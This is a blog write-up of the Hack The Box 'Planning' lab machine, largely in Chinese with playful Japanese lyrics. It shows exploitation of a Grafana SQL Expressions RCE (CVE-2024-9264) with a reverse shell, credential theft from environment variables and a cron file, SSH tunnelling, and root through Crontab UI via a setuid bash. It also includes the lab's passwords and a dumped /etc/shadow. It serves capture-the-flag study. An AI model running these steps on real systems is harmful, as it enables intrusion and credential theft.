MANESEC on 2025-05-13
Recommand: Let's Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
https://www.hackthebox.com/achievement/machine/463126/660
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r
歌詞:
エヌマップの指 ポートを叩く(Nmap 的指尖 輕叩著端口)
八十番から グラファナの影(自80號埠 窺見 Grafana 的身影)
古いバージョン 涙のしるし(陳舊的版本 是淚痕的印記)
シーブイイー 合鍵かしら(CVE 啊 會是那把密鑰嗎?)
ああ グラファナ 脆弱な心(啊啊~ Grafana 妳脆弱的心)
パスワード入れて 扉開けば(若輸入密碼 將心扉敞開)
リバースシェル 届いた吐息(Reverse shell 是收到的嘆息)
コンテナの中 迷い込んだの(是否已迷失 在容器之中)
環境変数 秘密のメモに(環境變數裡 秘密的筆記)
エンゾ あなたの 名前とパスワード(Enzo 是你的名字與密語)
エスエスエイチ 指が触れたら(當指尖輕觸 SSH 那一瞬)
次は何処なの オプトの奥?(下一步何方?在 Opt 深處?)
ああ グラファナ 脆弱な心(啊啊 Grafana 妳脆弱的心)
パスワード入れて 扉開けば(若輸入密碼 將心扉敞開)
リバースシェル 届いた吐息(Reverse shell 是收到的嘆息)
あなたのそばに 近づけたかな(是否已稍稍 走近你身旁?)
クロンタブの日記 見つけたの(Crontab 的日誌 我已尋獲)
秘密の合言葉 キラキラ光る(秘密的口令 閃爍著光芒)
ポート八千番 新たな扉(八千號埠 是嶄新的門扉)
トンネル繋ぐ エスエスエイチで(用 SSH 串起 秘密的隧道)
ああ クロンタブユーアイ 最後の場所(啊啊 Crontab UI 終焉之處)
ルートの名前 合言葉入れて(輸入 root 之名 與那句密語)
チェンジモードの 魔法をかけて(為它施加上 Change Mode 的魔法)
ルートシェル やっと一つになれた(Root shell 啊 終能合而為一)
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg= | 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0 80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST |_http-title: Edukate - Online Education Website |_http-server-header: nginx/1.24.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
首先使用nmap掃描,可以看到只有80端口,那就是從80端口入手。
輸入ip,他會自動跳轉到 planning.htb
:
既然有域名那就嘗試掃描一下:
$ ffuf -w /Tools/Wordlists/N0kovoSubdomains/n0kovo_subdomains_small.txt -u http://planning.htb -H "Host: FUZZ.planning.htb" -fs 178
結果出現了 grafana
,所以瀏覽器訪問 grafana.planning.htb
看一下:
看到下面有個版本號,所以直接搜索一下 exploit:
找到一個POC: https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit
所以直接clone 下來,因爲一開始就有給賬號和密碼,所以直接填上去看看能不能得到 reverse shell:
$ git clone https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit.git
$ cd CVE-2024-9264-RCE-Exploit
$ python3 poc.py --url http://grafana.planning.htb/ --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.16.23 --reverse-port 1111
結果還真的得到了 reverse shell。
由於在容器裏面,所以看一下環境變量:
看到環境變量裏面有賬號密碼:
GF_SECURITY_ADMIN_USER=enzo GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
所以嘗試使用 SSH 登陸一下:
$ ssh enzo@10.129.183.77 RioTecRANDEntANT!
結果得到了 user.txt
,然後就是看一下特殊的目錄,比如 /opt
之類的,看到:
$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
裏面有一個密碼 P4ssw0rdS0pRi0T3c
。
然後隨手枚舉以下基本的信息,看了一下本地開放的端口:
$ ss -tlunp
可以看到本地開啓了8000
和 3000
的端口,所以使用 ssh 轉發一下:
$ ssh -L 3000:127.0.0.1:3000 -L 8000:127.0.0.1:8000 enzo@10.129.183.77
打開3000端口,是 grafana
:
所以看一下8000端口,結果彈出來需要賬號密碼,由於上面有一個密碼,那就隨便猜一下用戶名:
結果使用 root
就登陸進去了,看起來是 Crontab UI
:
那就直接新建一個 chmod 4777 /bin/bash
的任務,然後點運行:
這樣就得到了 root:
bash-5.2# cat /etc/shadow
root:$y$j9T$6FXR7mi4BgmaZ7AoBiO470$CBrVTY4d7EK5JUjv8Gc2xjGVxYIr14TUCRkgFY0YvB7:20147:0:99999:7:::
daemon:*:20135:0:99999:7:::
bin:*:20135:0:99999:7:::
sys:*:20135:0:99999:7:::
sync:*:20135:0:99999:7:::
games:*:20135:0:99999:7:::
man:*:20135:0:99999:7:::
lp:*:20135:0:99999:7:::
mail:*:20135:0:99999:7:::
news:*:20135:0:99999:7:::
uucp:*:20135:0:99999:7:::
proxy:*:20135:0:99999:7:::
www-data:*:20135:0:99999:7:::
backup:*:20135:0:99999:7:::
list:*:20135:0:99999:7:::
irc:*:20135:0:99999:7:::
_apt:*:20135:0:99999:7:::
nobody:*:20135:0:99999:7:::
systemd-network:!*:20135::::::
systemd-timesync:!*:20135::::::
messagebus:!:20135::::::
systemd-resolve:!*:20135::::::
pollinate:!:20135::::::
polkitd:!*:20135::::::
syslog:!:20135::::::
uuidd:!:20135::::::
tcpdump:!:20135::::::
tss:!:20135::::::
landscape:!:20135::::::
fwupd-refresh:!*:20135::::::
usbmux:!:20147::::::
sshd:!:20147::::::
enzo:$y$j9T$D.g0svThdX4dAVCvkaUz3.$jQKKPCGVxCt3NiPX9fCUSzSWXg8V2V6xKvGyhv2yiX.:20147:0:99999:7:::
dnsmasq:!:20147::::::
lxd:!:20147::::::
mysql:!:20147::::::
_laurel:!:20181::::::
dhcpcd:!:20213::::::
A Grafana Labs engineer discovered a RCE (Remote Code Execution) vulnerability that was introduced in Grafana 11. The vulnerability was in an experimental feature named SQL Expressions that allows for data source query output to be post-processed by executing one or more SQL queries. It does this by passing the query and data to the DuckDB CLI, which executes the SQL against the DataFrame data. These SQL queries were not sanitized completely, leading to a command injection and local file inclusion vulnerability.
根據duckdb的文檔:
所以在POC中,會先把内容寫進去臨時文件:
然後使用 shellfs
來執行:
那麽如何修復呢?看了一下 commit 的記錄,修復也相當暴力
https://github.com/grafana/grafana/commit/ea71201ddc66f06a3f16387e85a09c53514aaadd
直接移除掉就好了。
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 完成 INTRODUCTION TO ACADEMY
這個模塊后可以解鎖更多的功能!
Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2025 manesec. All rights (include theme) reserved.